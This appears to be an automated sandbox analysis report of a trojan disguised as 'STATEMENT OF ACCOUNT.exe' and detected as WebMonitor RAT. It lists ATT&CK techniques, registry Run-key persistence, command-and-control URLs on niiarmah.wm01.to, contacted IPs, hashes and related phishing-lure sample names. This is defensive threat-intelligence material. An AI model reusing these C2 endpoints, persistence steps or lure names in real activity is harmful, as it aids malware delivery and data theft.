Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918842115.00000000016F0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: STATEMENT OF ACCOUNT.exe	Binary or memory string: 192.168.2.4\|579569\|user\|1\|Microsoft Windows 10 Professional (x64)\|8f0e501d05e88618d0bfe5e70f5591b2\|0\|Program Manager\|92\|2.00
Source: STATEMENT OF ACCOUNT.exe, 00000001.00000002.918842115.00000000016F0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_0043865F cpuid

1_2_0043865F

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,		1_2_0049C76F
Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe	Code function: GetLocaleInfoEx,___wcsnicmp_ascii,		1_2_0049C6A4

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_0048B007 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

1_2_0048B007

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Code function: 1_2_004BA019 _free,_free,_free,GetTimeZoneInformation,_free,

1_2_004BA019

Source: C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected WebMonitor RAT

Show sources

Source: Yara match	File source: 0.2.STATEMENT OF ACCOUNT.exe.2e80000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.STATEMENT OF ACCOUNT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.STATEMENT OF ACCOUNT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.STATEMENT OF ACCOUNT.exe.2e80000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.659795445.0000000002E80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: STATEMENT OF ACCOUNT.exe PID: 6500, type: MEMORYSTR

Remote Access Functionality:

Yara detected WebMonitor RAT

Show sources

Source: Yara match	File source: 0.2.STATEMENT OF ACCOUNT.exe.2e80000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.STATEMENT OF ACCOUNT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.STATEMENT OF ACCOUNT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.STATEMENT OF ACCOUNT.exe.2e80000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.659795445.0000000002E80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: STATEMENT OF ACCOUNT.exe PID: 6500, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Registry Run Keys / Startup Folder11	Access Token Manipulation1	Masquerading1	Input Capture211	System Time Discovery2	Remote Services	Input Capture211	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	Process Injection112	Virtualization/Sandbox Evasion23	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Registry Run Keys / Startup Folder11	Disable or Modify Tools1	Security Account Manager	Security Software Discovery521	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Virtualization/Sandbox Evasion23	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	Application Window Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery223	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
STATEMENT OF ACCOUNT.exe	48%	Virustotal		Browse
STATEMENT OF ACCOUNT.exe	33%	ReversingLabs	Win32.Trojan.Zenpak
STATEMENT OF ACCOUNT.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.STATEMENT OF ACCOUNT.exe.2e80000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Link
niiarmah.wm01.to	1%	Virustotal	Browse
ntp.se	0%	Virustotal	Browse
sdns.se	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://0/recv5.php	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpd	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpMft.c	0%	Avira URL Cloud	safe
https://0/recv5.phpK	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpH	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpM	0%	Avira URL Cloud	safe
https://0.0.0.0/recv5.php-Z	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpp	0%	Avira URL Cloud	safe
https://0/recv5.php9	0%	Avira URL Cloud	safe
http://crl.microsoft.c	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.php	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.php-29.c	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.phpZ	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/d27bc.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
niiarmah.wm01.to	45.153.186.90	true	false	1%, Virustotal, Browse	unknown
ntp.se	194.58.200.20	true	false	0%, Virustotal, Browse	unknown
sdns.se	185.243.215.214	true	false	1%, Virustotal, Browse	unknown
582a6effa572ee341fb51432402bce5c.se	unknown	unknown	true		unknown
6090c881aa6809ceb45465b159f9bf27.se	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://0/recv5.php	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	low
https://niiarmah.wm01.to/recv5.phpd	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.phpMft.c	STATEMENT OF ACCOUNT.exe, 00000001.00000003.775716221.0000000003D4C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://0/recv5.phpK	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	low
https://niiarmah.wm01.to/	STATEMENT OF ACCOUNT.exe, STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.phpH	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918585565.00000000010AD000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.phpM	STATEMENT OF ACCOUNT.exe, 00000001.00000002.920097457.0000000003D4A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://0.0.0.0/recv5.php-Z	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.phpp	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://0/recv5.php9	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918628193.00000000010F5000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	low
http://crl.microsoft.c	STATEMENT OF ACCOUNT.exe, 00000001.00000003.766940859.0000000003D01000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.php	STATEMENT OF ACCOUNT.exe, 00000001.00000003.775716221.0000000003D4C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.php-29.c	STATEMENT OF ACCOUNT.exe, 00000001.00000003.775716221.0000000003D4C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/recv5.phpZ	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918677277.0000000001132000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://niiarmah.wm01.to/d27bc.bin	STATEMENT OF ACCOUNT.exe, 00000001.00000002.918585565.00000000010AD000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.58.200.20	ntp.se	Sweden		57021	NTP-SEAnycastedNTPservicesfromNetnodIXPsSE	false
45.153.186.90	niiarmah.wm01.to	Bulgaria		202448	MVPShttpswwwmvpsnetEU	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	462604
Start date:	10.08.2021
Start time:	15:15:34
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	STATEMENT OF ACCOUNT.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@25/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 4.7% (good quality ratio 4.5%) Quality average: 71.5% Quality standard deviation: 24.9%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.189.173.21, 23.211.6.115, 23.211.5.146, 13.89.179.12, 20.82.210.154, 20.54.110.249, 40.112.88.60, 173.222.108.210, 173.222.108.226, 205.185.216.42, 205.185.216.10, 20.50.102.62, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, onedsblobprdcus17.centralus.cloudapp.azure.com, a1449.dscg2.akamai.net, storeedgefd.xbetservices.akadns.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, onedsblobprdwus16.westus.cloudapp.azure.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, storeedgefd.dsx.mp.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, a767.dscg3.akamai.net, cds.d2s7q6s2.hwcdn.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, e16646.dscg.akamaiedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:16:32	API Interceptor	1x Sleep call for process: STATEMENT OF ACCOUNT.exe modified
15:17:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-8f0e C:\Users\user\AppData\Roaming\WebMonitor-8f0e.exe
15:17:32	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-8f0e C:\Users\user\AppData\Roaming\WebMonitor-8f0e.exe
15:17:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-8f0e C:\Users\user\AppData\Roaming\WebMonitor-8f0e.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
194.58.200.20	Banking_cordinates_928273.exe	Get hash	malicious	Browse
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse
	allcrhfJER.exe	Get hash	malicious	Browse
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse
	FILE_2932NH_9923.exe	Get hash	malicious	Browse
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse
	OFfcxY5xia.exe	Get hash	malicious	Browse
	Z2YNNlDA9o.exe	Get hash	malicious	Browse
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse
	lc3of5dOat.exe	Get hash	malicious	Browse
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse
	IMA_2021-03-10.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse
	Code.exe	Get hash	malicious	Browse
	IRS RELIEF PDF.exe	Get hash	malicious	Browse
	tax-relief.exe	Get hash	malicious	Browse
	1Rv2jMLk7F.exe	Get hash	malicious	Browse
	0954ac41b0d866e019bf1ac8fc9f25f3.exe	Get hash	malicious	Browse
45.153.186.90	Banking_cordinates_928273.exe	Get hash	malicious	Browse
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse
	FILE_2932NH_9923.exe	Get hash	malicious	Browse
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse
	OFfcxY5xia.exe	Get hash	malicious	Browse
	Z2YNNlDA9o.exe	Get hash	malicious	Browse
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse
	lc3of5dOat.exe	Get hash	malicious	Browse
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse
	IMA_2021-03-10.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse
	Code.exe	Get hash	malicious	Browse
	IRS RELIEF PDF.exe	Get hash	malicious	Browse
	tax-relief.exe	Get hash	malicious	Browse
	1Rv2jMLk7F.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ntp.se	Banking_cordinates_928273.exe	Get hash	malicious	Browse	194.58.200.20
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	194.58.200.20
	allcrhfJER.exe	Get hash	malicious	Browse	194.58.200.20
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	194.58.200.20
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	OFfcxY5xia.exe	Get hash	malicious	Browse	194.58.200.20
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	194.58.200.20
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	194.58.200.20
	lc3of5dOat.exe	Get hash	malicious	Browse	194.58.200.20
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	194.58.200.20
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	IMA_2021-03-10.exe	Get hash	malicious	Browse	194.58.200.20
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	194.58.200.20
	Code.exe	Get hash	malicious	Browse	194.58.200.20
	IRS RELIEF PDF.exe	Get hash	malicious	Browse	194.58.200.20
	tax-relief.exe	Get hash	malicious	Browse	194.58.200.20
	1Rv2jMLk7F.exe	Get hash	malicious	Browse	194.58.200.20
	0954ac41b0d866e019bf1ac8fc9f25f3.exe	Get hash	malicious	Browse	194.58.200.20
niiarmah.wm01.to	Banking_cordinates_928273.exe	Get hash	malicious	Browse	45.153.186.90
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	45.153.186.90
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	45.153.186.90
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	45.153.186.90
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	45.153.186.90
sdns.se	Banking_cordinates_928273.exe	Get hash	malicious	Browse	185.243.215.214
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	185.243.215.214
	allcrhfJER.exe	Get hash	malicious	Browse	185.243.215.214
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	185.243.215.214
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	OFfcxY5xia.exe	Get hash	malicious	Browse	185.243.215.214
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	185.243.215.214
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	185.243.215.214
	lc3of5dOat.exe	Get hash	malicious	Browse	185.243.215.214
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	185.243.215.214
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	IMA_2021-03-10.exe	Get hash	malicious	Browse	185.243.215.214
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	185.243.215.214
	Code.exe	Get hash	malicious	Browse	185.61.148.26
	IRS RELIEF PDF.exe	Get hash	malicious	Browse	185.61.148.26
	tax-relief.exe	Get hash	malicious	Browse	185.61.148.26
	1Rv2jMLk7F.exe	Get hash	malicious	Browse	185.61.148.26
	LWwoiTLRjW.exe	Get hash	malicious	Browse	185.61.148.26

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NTP-SEAnycastedNTPservicesfromNetnodIXPsSE	Banking_cordinates_928273.exe	Get hash	malicious	Browse	194.58.200.20
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	194.58.200.20
	allcrhfJER.exe	Get hash	malicious	Browse	194.58.200.20
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	194.58.200.20
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	OFfcxY5xia.exe	Get hash	malicious	Browse	194.58.200.20
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	194.58.200.20
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	194.58.200.20
	lc3of5dOat.exe	Get hash	malicious	Browse	194.58.200.20
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	194.58.200.20
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	IMA_2021-03-10.exe	Get hash	malicious	Browse	194.58.200.20
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	194.58.200.20
	Code.exe	Get hash	malicious	Browse	194.58.200.20
	IRS RELIEF PDF.exe	Get hash	malicious	Browse	194.58.200.20
	tax-relief.exe	Get hash	malicious	Browse	194.58.200.20
	1Rv2jMLk7F.exe	Get hash	malicious	Browse	194.58.200.20
MVPShttpswwwmvpsnetEU	Banking_cordinates_928273.exe	Get hash	malicious	Browse	45.153.186.90
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	45.153.186.90
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	45.153.186.90
	d6N339EMPr.exe	Get hash	malicious	Browse	45.153.186.187
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	OFfcxY5xia.exe	Get hash	malicious	Browse	45.153.186.90
	1FysgNhnWC.exe	Get hash	malicious	Browse	2.56.212.39
	BFfrxGDQx7.exe	Get hash	malicious	Browse	2.56.212.39
	UnuiloxBcq.exe	Get hash	malicious	Browse	2.56.212.39
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	45.153.186.90
	o7w2HSi17V.exe	Get hash	malicious	Browse	178.157.82.127
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	45.153.186.90
	85ASXq9rnd.exe	Get hash	malicious	Browse	2.56.213.5
	lc3of5dOat.exe	Get hash	malicious	Browse	45.153.186.90
	Sysdiagnostic.exe	Get hash	malicious	Browse	178.157.91.42
	ONS-2_exe.exe	Get hash	malicious	Browse	93.115.21.128
	mvJMfkrri8.exe	Get hash	malicious	Browse	93.115.21.128
	1p037oXV3S.exe	Get hash	malicious	Browse	93.115.21.128
	1X6McyRQlO.exe	Get hash	malicious	Browse	93.115.21.128

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	scan20210805122905.ppam	Get hash	malicious	Browse	45.153.186.90
	#U2706 Brhc-_doc-secured6601397300 (1).htm	Get hash	malicious	Browse	45.153.186.90
	6FObPuAkFG.exe	Get hash	malicious	Browse	45.153.186.90
	SecuriteInfo.com.W32.Kryptik.ETY.genEldorado.9034.exe	Get hash	malicious	Browse	45.153.186.90
	sample.exe	Get hash	malicious	Browse	45.153.186.90
	YWBLA3LR.htm	Get hash	malicious	Browse	45.153.186.90
	611242387c2b3.dll	Get hash	malicious	Browse	45.153.186.90
	611237846402f.dll	Get hash	malicious	Browse	45.153.186.90
	URGENT DRAWING AND QUOTATION.ppam	Get hash	malicious	Browse	45.153.186.90
	e4fnqFmini.exe	Get hash	malicious	Browse	45.153.186.90
	Vemc8j3b65.exe	Get hash	malicious	Browse	45.153.186.90
	X50xBZvIkV.exe	Get hash	malicious	Browse	45.153.186.90
	X50xBZvIkV.exe	Get hash	malicious	Browse	45.153.186.90
	3HI5_CARGO_2021.08.09.xlsb	Get hash	malicious	Browse	45.153.186.90
	SVL5_TRANS_2021.08.09.xlsb	Get hash	malicious	Browse	45.153.186.90
	C64807B99C0F69113C15FBDBB6C52880C5C1DF614ECA0.exe	Get hash	malicious	Browse	45.153.186.90
	39A9A517C08BED76DAC8F15C60C0AA1F8CECC1C42A18F.exe	Get hash	malicious	Browse	45.153.186.90
	9674D5EEC506800988AC7469ACAFAAB10D6C879C83ABA.exe	Get hash	malicious	Browse	45.153.186.90
	doc_main_8.docx	Get hash	malicious	Browse	45.153.186.90
	.HTM	Get hash	malicious	Browse	45.153.186.90

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe
File Type:	Microsoft Cabinet archive data, 61020 bytes, 1 file
Category:	dropped
Size (bytes):	61020
Entropy (8bit):	7.994886945086499
Encrypted:	true
SSDEEP:	1536:IZ/FdeYPeFusuQszEfL0/NfXfdl5lNQbGxO4EBJE:0tdeYPiuWAVtlLBGm
MD5:	2902DE11E30DCC620B184E3BB0F0C1CB
SHA1:	5D11D14A2558801A2688DC2D6DFAD39AC294F222
SHA-256:	E6A7F1F8810E46A736E80EE5AC6187690F28F4D5D35D130D410E20084B2C1544
SHA-512:	EFD415CDE25B827AC2A7CA4D6486CE3A43CDCC1C31D3A94FD7944681AA3E83A4966625BF2E6770581C4B59D05E35FF9318D9ADADDADE9070F131076892AF2FA0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....\.......,...................I........l.........R.q .authroot.stl.N....5..CK..8T....c_.d....A.K....=.D.eWI..r."Y...."i..,.=.l.D.....3...3WW.......y...9..w..D.yM10....`.0.e.._.'..a0xN....)F.C..t.z.,.O20.1``L.....m?H..C..X>Oc..q.....%.!^v%<...O...-..@/.......H.J.W...... T...Fp..2.\|$....._Y..Y`&..s.1........s.{..,.":o}9.......%._.xWS.K..4"9......q.G:.........a.H.y.. ..r...q./6.p.;.`=.Dwj......!......s).B..y.......A.!W.........D!s0..!"X...l.....D0...........Ba...Z.0.o..l.3.v..W1F hSp.S)@.....'Z..QW...G...G.G.y+.x...aa`.3..X&4E..N...._O..<X.......K...xm..+M...O.H...)............o..~4.6.......p.`Bt.(..V.N.!.p.C>..%.ySXY.>.`..f\|....'^K`\..e......j/..\|..)..&i...wEj.w...o..r<.$.....C.....}.x...L..&..).r..\...>....v........7...^..L!.$..'m...,.....7F$..~..S.6$S.-y....\|.!.....x...~k...Q/.w.e...h.[...9<x...Q.x.][}_%Z..K.).3..'....M.6QkJ.N........Y..Q.n.[.(.... ...Bg..33..[...S..[... .Z..<i.-.]...po.k.,...X6......y3^.t[.Dw.]ts. R..L..`..ut_F....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\Desktop\STATEMENT OF ACCOUNT.exe
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.139205445116623
Encrypted:	false
SSDEEP:	6:kKJqdoW+N+SkQlPlEGYRMY9z+4KlDA3RUeIlD1Ut:BG5kPlE99SNxAhUe0et
MD5:	762157C541EAABAA19151C06D9906095
SHA1:	DECBED85729DB4392112A732B387CDF34AC7C7E5
SHA-256:	4FE2A1D4014ED9B95C9E7E01952137F37B41DBAF47581EAEAD22231F4EDF6F69
SHA-512:	D0E24DBAB3C56A33C985318C610F6D3C7A3B21BB1DA23EB8D89C207D41DAAB525F19A395579867044B74CFE09FC2F06A810867ECAF86EC1790E70237A119C3DD
Malicious:	false
Reputation:	low
Preview:	p...... ..............(....................................................... .........T'._......$...........\...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.6.5.4.2.7.7.5.f.d.7.1.:.0."...

C:\Users\user\Desktop\d70d27bc.bin Download File
